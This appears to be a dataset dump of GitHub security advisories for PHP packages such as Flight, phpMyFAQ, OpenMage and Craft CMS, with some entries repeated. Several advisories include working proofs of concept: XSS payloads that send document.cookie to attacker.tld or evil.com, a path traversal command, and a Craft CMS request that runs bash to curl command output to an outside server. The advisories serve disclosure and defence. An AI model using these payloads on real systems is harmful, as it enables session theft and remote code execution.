deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-3xjv-pmf2-gf2q
Package: flightphp/core (COMPOSER)
Severity: MODERATE (CVSS 4.4)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 3.18.1
Patched in: 3.18.1

Summary: Flight has path traversal in `make:controller` CLI that creates arbitrary directories outside project root

Details:
### Summary
The `make:controller` CLI command calls `mkdir(..., recursive: true)` on a path built from the user-supplied controller name, **before** Nette's class-name validation runs. The class-file write is correctly rejected by Nette when the name contains `/`, but the recursive directory creation side effect is already committed — including directories located outside the project root through `../` traversal.

### Affected code
`flight/commands/ControllerCommand.php` (≈ 63-66):

```php
if (is_dir(dirname($controllerPath)) === false) {
    $io->info('Creating directory ' . dirname($controllerPath), true);
    mkdir(dirname($controllerPath), 0755, true);   // un-normalized, runs before validation
}
```

### Proof of concept
```
$ php vendor/flightphp/runway/runway make:controller '../../../../tmp/CONTROLLER_TRAVERSAL_TEST/pwn'
Creating directory .../app/controllers/../../../../tmp/CONTROLLER_TRAVERSAL_TEST
Nette\InvalidArgumentException: Value '../../../../tmp/CONTROLLER_TRAVERSAL_TEST/pwnController' is not valid class name.

$ ls /home/user/tmp/CONTROLLER_TRAVERSAL_TEST
(directory exists — created before the exception was thrown)
```

### Impact
- **Arbitrary directory creation outside the project root**, executable by any local actor that can run the Flight CLI (developer machine, shared CI build agent, compromised dev container).
- Primes log-file planting for chained LFI exploitation (e.g. creating a directory where an attacker can later drop a `.php` file to be included via a distinct template-include weakness).
- On Windows, the `\` separator opens additional traversal surface.

### Patch (fixed in `3.18.1`, commit `b8dd23a`)
The controller name is now normalized with `basename()` and validated against `^[A-Za-z_][A-Za-z0-9_]*$` before any `mkdir` side effect runs.

### Credit
Discovered by **@Rootingg**.
GitHub Security Advisory: GHSA-fcx8-ph5r-mxr4
Package: flightphp/core (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 3.18.1
Patched in: 3.18.1

Summary: Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp() 

Details:
### Summary
`Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.

### Affected code
`flight/Engine.php` (≈ lines 1000-1013):

```php
$callback = $this->request()->query[$param];
$this->response()
    ->status($code)
    ->header('Content-Type', 'application/javascript; charset=' . $charset)
    ->write($callback . '(' . $json . ');');
```

No regex or identifier validation is performed before the callback is written.

### Proof of concept
Given any route that calls `Flight::jsonp($data)`:

```
GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//
```

Reproduced response (`Content-Type: application/javascript`):

```
;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});
```

When the vulnerable endpoint is loaded via `<script src="https://victim.tld/api?jsonp=…">` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.

### Impact
- Reflected XSS in any application calling `Flight::jsonp()`.
- Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
- Exfiltration of authenticated API responses.

### Patch (fixed in `3.18.1`, commit `b8dd23a`)
`_jsonp()` now validates the callback name against `^[A-Za-z_$][\w$.]{0,127}$` before emitting it. An empty callback (no `jsonp` parameter) still behaves as before.

### Credit
Discovered by **@Rootingg**.
GitHub Security Advisory: GHSA-x8jv-q8j2-487c
Package: openmage/magento-lts (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-87: Improper Neutralization of Alternate XSS Syntax
Vulnerable versions: <= 20.17.0
Patched in: 20.18.0

Summary: Magento LTS: Reflected XSS - Import -> Data Flow (profiles) 

Details:
A reflected XSS vulnerability was found under admin panel ->  System -> Import/Export -> Dataflow -  Profiles.

## Steps to produce

+ Login to  the admin panel 

+ Go to the path   `System -> Import/Export -> Dataflow -  Profiles`

+ Select profile direction as `Import`.

+ Click on `Import Customers` 

+ Upload the file.

File Link: [customer_20260212_204335.csv](https://github.com/user-attachments/files/25629638/customer_20260212_204335.csv)

+ Go back to `Run profile`.

+ Select the uploaded file and Click on `Run in Popup`.

+ One can see a URL like this 

```
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/import[PII_REDACTED]1125-1_customer_20260212_204335.csv/
```


+ One can see the filename getting reflection in HTML tags.

+ Inject an HTML tag and observe.

```
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/"><h3>hacked</h3>/
``` 

<img width="1796" height="302" alt="image (3)" src="https://github.com/user-attachments/assets/502330b0-fa73-4b90-a81f-6216a98e474a" />

+ One can see the tag is getting executed.

+  Proceed for XSS.

```
https://demo-admin.openmage.org/index.php/admin/system_convert_gui/run/id/6/key/40dbbb2e93f45f0463c57ff733352f4f/files/%3CScRiPt%20%3Eprompt(document.cookie)%3C%2FScRiPt%3E
```

<img width="1670" height="562" alt="image (4)" src="https://github.com/user-attachments/assets/98a75081-fa8c-4483-9078-0ab5e7e14e4d" />


+ There is an XSS popup.

## Impact

Cookie stealing, JS deface, many more
GitHub Security Advisory: GHSA-m24v-f7g5-gq67
Package: statamic/cms (COMPOSER)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-204: Observable Response Discrepancy
Vulnerable versions: >= 6.0.0, < 6.15.0
Patched in: 6.15.0

Summary: Statamic CMS vulnerable to email enumeration via forgot password endpoint

Details:
### Impact

Responses from the forgot password forms hinted at whether an account existed for a given email address. An unauthenticated attacker could use this to enumerate valid users, which can aid in follow-up credential-based attacks.

### Patches

This has been fixed in 5.73.21 and 6.15.0. The forgot password forms now return the same generic response regardless of whether the submitted email matches a registered user.
GitHub Security Advisory: GHSA-m24v-f7g5-gq67
Package: statamic/cms (COMPOSER)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-204: Observable Response Discrepancy
Vulnerable versions: < 5.73.21
Patched in: 5.73.21

Summary: Statamic CMS vulnerable to email enumeration via forgot password endpoint

Details:
### Impact

Responses from the forgot password forms hinted at whether an account existed for a given email address. An unauthenticated attacker could use this to enumerate valid users, which can aid in follow-up credential-based attacks.

### Patches

This has been fixed in 5.73.21 and 6.15.0. The forgot password forms now return the same generic response regardless of whether the submitted email matches a registered user.
GitHub Security Advisory: GHSA-9525-27vj-c8r8
Package: phpmyfaq/phpmyfaq (COMPOSER)
Severity: HIGH (CVSS 7.6)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-116: Improper Encoding or Escaping of Output
Vulnerable versions: = 4.1.1
Patched in: 4.1.2

Summary: phpMyFAQ has stored XSS via Utils::parseUrl() in comment rendering

Details:
### Summary

A stored XSS vulnerability in the comment rendering pipeline allows an authenticated user to inject JavaScript that executes for every visitor of an affected FAQ or News page. An attacker with a registered account can steal admin session cookies and take over the application.

### Details

`Utils::parseUrl()` (`phpmyfaq/src/phpMyFAQ/Utils.php`, line 281) converts URLs in comment text into clickable `<a>` tags at render time:

    $pattern = '/(https?:\/\/[^\s]+)/i';
    $replacement = '<a href="$1">$1</a>';
    return preg_replace($pattern, $replacement, $string);

The regex `[^\s]+` matches `"` and `<`, and the URL is inserted into the href attribute with no htmlspecialchars() call. A URL with a literal `"` closes the attribute early and allows injecting event handlers like onmouseover.

This only reaches the sink when `main.enableCommentEditor` is enabled. In that path, comment text goes through `sanitizeHtmlComment()` instead of `FILTER_SANITIZE_SPECIAL_CHARS` — which encodes `"` — so the double-quote survives to storage. The comment is then passed through parseUrl() and rendered via `{{ comment.comment|raw }}` in `comment.macros.twig` (line 40), which disables Twig auto-escaping.

The same sink exists in the admin comment panel (`admin/content/comments.twig`, lines 62 and 112), so admins viewing the panel are also affected.

No Content-Security-Policy headers are set anywhere in the app.

### PoC

Requirements:
- main.enableCommentEditor = true (set in admin Configuration panel)
- attacker has any registered user account
- one FAQ entry with comments allowed exists

Steps:
1. Log in as a registered user and open a FAQ with comments.
2. Submit the following as the comment text:

       https://www.evil.com/"onmouseover="alert(document.cookie)

   (www. prefix required — parseUrl strips https:// then only re-adds
   it for www. URLs, which is what triggers the linkification)

3. Any user who views that FAQ page and hovers the link triggers the
   payload. To hit an admin, wait for them to visit the page or check
   the admin comments panel at /admin/content/comments.

Resulting HTML in the page:

    <a href="https://www.evil.com/"onmouseover="alert(document.cookie)">
      ...
    </a>

The `"` closes the href attribute; onmouseover becomes a real attribute.

### Impact

Stored XSS affecting all visitors of the page, including admins. Session cookie theft leads to full admin account takeover. The payload looks like a normal URL and persists until manually deleted.
GitHub Security Advisory: GHSA-9525-27vj-c8r8
Package: thorsten/phpmyfaq (COMPOSER)
Severity: HIGH (CVSS 7.6)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-116: Improper Encoding or Escaping of Output
Vulnerable versions: = 4.1.1
Patched in: 4.1.2

Summary: phpMyFAQ has stored XSS via Utils::parseUrl() in comment rendering

Details:
### Summary

A stored XSS vulnerability in the comment rendering pipeline allows an authenticated user to inject JavaScript that executes for every visitor of an affected FAQ or News page. An attacker with a registered account can steal admin session cookies and take over the application.

### Details

`Utils::parseUrl()` (`phpmyfaq/src/phpMyFAQ/Utils.php`, line 281) converts URLs in comment text into clickable `<a>` tags at render time:

    $pattern = '/(https?:\/\/[^\s]+)/i';
    $replacement = '<a href="$1">$1</a>';
    return preg_replace($pattern, $replacement, $string);

The regex `[^\s]+` matches `"` and `<`, and the URL is inserted into the href attribute with no htmlspecialchars() call. A URL with a literal `"` closes the attribute early and allows injecting event handlers like onmouseover.

This only reaches the sink when `main.enableCommentEditor` is enabled. In that path, comment text goes through `sanitizeHtmlComment()` instead of `FILTER_SANITIZE_SPECIAL_CHARS` — which encodes `"` — so the double-quote survives to storage. The comment is then passed through parseUrl() and rendered via `{{ comment.comment|raw }}` in `comment.macros.twig` (line 40), which disables Twig auto-escaping.

The same sink exists in the admin comment panel (`admin/content/comments.twig`, lines 62 and 112), so admins viewing the panel are also affected.

No Content-Security-Policy headers are set anywhere in the app.

### PoC

Requirements:
- main.enableCommentEditor = true (set in admin Configuration panel)
- attacker has any registered user account
- one FAQ entry with comments allowed exists

Steps:
1. Log in as a registered user and open a FAQ with comments.
2. Submit the following as the comment text:

       https://www.evil.com/"onmouseover="alert(document.cookie)

   (www. prefix required — parseUrl strips https:// then only re-adds
   it for www. URLs, which is what triggers the linkification)

3. Any user who views that FAQ page and hovers the link triggers the
   payload. To hit an admin, wait for them to visit the page or check
   the admin comments panel at /admin/content/comments.

Resulting HTML in the page:

    <a href="https://www.evil.com/"onmouseover="alert(document.cookie)">
      ...
    </a>

The `"` closes the href attribute; onmouseover becomes a real attribute.

### Impact

Stored XSS affecting all visitors of the page, including admins. Session cookie theft leads to full admin account takeover. The payload looks like a normal URL and persists until manually deleted.
GitHub Security Advisory: GHSA-4rm2-28vj-fj39
Package: dedoc/scramble (COMPOSER)
Severity: CRITICAL (CVSS 9.4)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: >= 0.13.2, <= 0.13.21
Patched in: 0.13.22

Summary: Scramble vulnerable to remote code execution via evaluation of user-controlled input in validation rules

Details:
### Impact

A remote code execution (RCE) vulnerability affects versions `0.13.2` through `0.13.21`. When documentation endpoints are publicly accessible and validation rules reference user-controlled input, request supplied data may be evaluated during documentation generation, leading to execution of arbitrary PHP code in the application context.

### Patches

Fixed in version `0.13.22`.

### Workarounds

If upgrading is not immediately possible:

* Restrict access to documentation endpoints (`/docs/api`, `/docs/api.json`)
* Avoid using user-controlled variables inside validation rule expressions (e.g., values derived from request input)
* Disable documentation endpoints in production environments if not required

These measures significantly reduce or prevent exploitability.
GitHub Security Advisory: GHSA-7gxw-q9j5-mrj4
Package: pimcore/pimcore (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: = 12.3.3
Patched in: unpatched

Summary: Pimcore has an authenticated Cross-site Scripting issue

Details:
An authenticated attacker with permission to edit document content can store crafted HTML/JavaScript in a Document embed editable and cause script execution when the published page is rendered.

This issue affects pimcore: v12.3.3.
GitHub Security Advisory: GHSA-c8g3-x47w-8q7p
Package: pimcore/pimcore (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: = 12.3.3
Patched in: unpatched

Summary: Pimcore admin users can trigger SQL Injection

Details:
An authenticated administrative user who can import or save DataObject class definitions can inject attacker-controlled composite index metadata and trigger unintended SQL execution in the backend.

This issue affects pimcore: 12.3.3.
GitHub Security Advisory: GHSA-2528-jw5q-ww88
Package: phpseclib/phpseclib (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 3.0.0, < 3.0.36
Patched in: 3.0.36

Summary: phpseclib: guardrails needed on isPrime and randomPrime

Details:
### Impact
Anyone trying to generate a prime and testing the primality of a number.

### Patches
https://github.com/phpseclib/phpseclib/commit/ad5dbdf2129f5e0fb644637770b7f33de8ca8575

### Workarounds
Using the GMP extension would probably help, assuming that one has its own guardrails.

### Resources
https://github.com/phpseclib/phpseclib/commit/ad5dbdf2129f5e0fb644637770b7f33de8ca8575
https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-599-shi-bing.pdf
GitHub Security Advisory: GHSA-2528-jw5q-ww88
Package: phpseclib/phpseclib (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 2.0.0, < 2.0.47
Patched in: 2.0.47

Summary: phpseclib: guardrails needed on isPrime and randomPrime

Details:
### Impact
Anyone trying to generate a prime and testing the primality of a number.

### Patches
https://github.com/phpseclib/phpseclib/commit/ad5dbdf2129f5e0fb644637770b7f33de8ca8575

### Workarounds
Using the GMP extension would probably help, assuming that one has its own guardrails.

### Resources
https://github.com/phpseclib/phpseclib/commit/ad5dbdf2129f5e0fb644637770b7f33de8ca8575
https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-599-shi-bing.pdf
GitHub Security Advisory: GHSA-2528-jw5q-ww88
Package: phpseclib/phpseclib (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: >= 0.1.1, < 1.0.23
Patched in: 1.0.23

Summary: phpseclib: guardrails needed on isPrime and randomPrime

Details:
### Impact
Anyone trying to generate a prime and testing the primality of a number.

### Patches
https://github.com/phpseclib/phpseclib/commit/ad5dbdf2129f5e0fb644637770b7f33de8ca8575

### Workarounds
Using the GMP extension would probably help, assuming that one has its own guardrails.

### Resources
https://github.com/phpseclib/phpseclib/commit/ad5dbdf2129f5e0fb644637770b7f33de8ca8575
https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-599-shi-bing.pdf
GitHub Security Advisory: GHSA-33m5-hqp9-97pw
Package: craftcms/cms (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-862: Missing Authorization
Vulnerable versions: >= 5.0.0-RC1, < 5.9.18
Patched in: 5.9.18

Summary: Craft CMS's Missing Volume Permission Check in AssetsController::actionShowInFolder Allows Information Disclosure

Details:
## Summary

`AssetsController::actionShowInFolder()` fetches an asset by ID and returns its filename and complete folder hierarchy (including volume handle, volume UID, folder names, folder UIDs, and folder URI paths) without checking whether the requesting user has `viewAssets` or `viewPeerAssets` permission on the asset’s volume. Any authenticated CP user — even one with zero volume permissions — can enumerate asset filenames and the full folder structure of any volume by supplying arbitrary asset IDs.

This follows the exact same incomplete-patch pattern as four GHSAs merged on 2026-02-25 (GHSA-x76w-8c62-48mg, GHSA-vgjg-248p-rfm2, GHSA-5pgf-h923-m958, GHSA-3pvf-vxrv-hh9c), all of which added `requireVolumePermissionByAsset()` + `requirePeerVolumePermissionByAsset()` to sibling AssetsController actions. The `actionShowInFolder` method was introduced thirteen days before the patch wave and was not included in it.

## Details

The vulnerability is in `src/controllers/AssetsController.php` at line 1437. The method:

1. Calls `requireCpRequest()` — verifies the request targets the CP, enforces `accessCp` permission via `Controller::_enforceAllowAnonymous()`, but does NOT enforce any volume-level permission.
2. Fetches any asset by ID with `Asset::findOne($assetId)` — no `editable`/`savable` scope filter, so all assets across all volumes are reachable.
3. Returns sensitive structural data via JSON.

## Impact

- Any authenticated control panel user with only `accessCp` permission can discover the filenames and complete folder structure (names, UIDs, handles, URIs) of assets in volumes they are not authorized to access.
- Sensitive volume structures — private document repositories, confidential media, internal file names — are exposed to any user who can log into the control panel.
- This enables targeted follow-up attacks: an attacker who knows a private asset’s filename and folder path may have other avenues to exfiltrate the actual file.

## Resources

https://github.com/craftcms/cms/commit/e3f3eaab3d85badd713cfc2c24e5f0792ecdb586
GitHub Security Advisory: GHSA-qrgm-p9w5-rrfw
Package: craftcms/cms (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Vulnerable versions: >= 5.0.0, < 5.9.18
Patched in: 5.9.18

Summary: Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior

Details:
We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server.  Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.

This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.

The request-controlled condition field layouts data is converted into a live FieldLayout object without a `Component::cleanseConfig()` boundary. Because Craft configures models before `parent::__construct()`, attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.

This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.

We were able to reproduce the attack by issuing a POST request to `/admin/actions/element-search/search` with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same `beforeAction()` path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:

 ```
POST /admin/actions/element-search/search HTTP/2
Host: hostnamehere
Cookie: CraftSessionId=...;[PII_REDACTED]341234_identity=...; CRAFT_CSRF_TOKEN=...;
Content-Length: …
User-Agent: Mozilla/5.0
X-Csrf-Token: ...
Accept: application/json
Content-Type: application/json

{

  "elementType": "craft\\elements\\Category",
  "siteId": 1,
  "search": "",
  "condition": {
    "class": "craft\\elements\\conditions\\ElementCondition",
    "elementType": "craft\\elements\\Category",
    "fieldLayouts": [
      {
        "as rce": {
          "__class": "yii\\behaviors\\AttributeTypecastBehavior",
          "__construct()": [
            {
              "attributeTypes": {
                "typecastBeforeSave": [
                  "Psy\\Readline\\Hoa\\ConsoleProcessus",
                  "execute"
                ]
              },
              "typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)""
            }
          ]
        },
        "on *": "self::beforeSave"
      }
    ]
  }
}
```

## Resources

https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3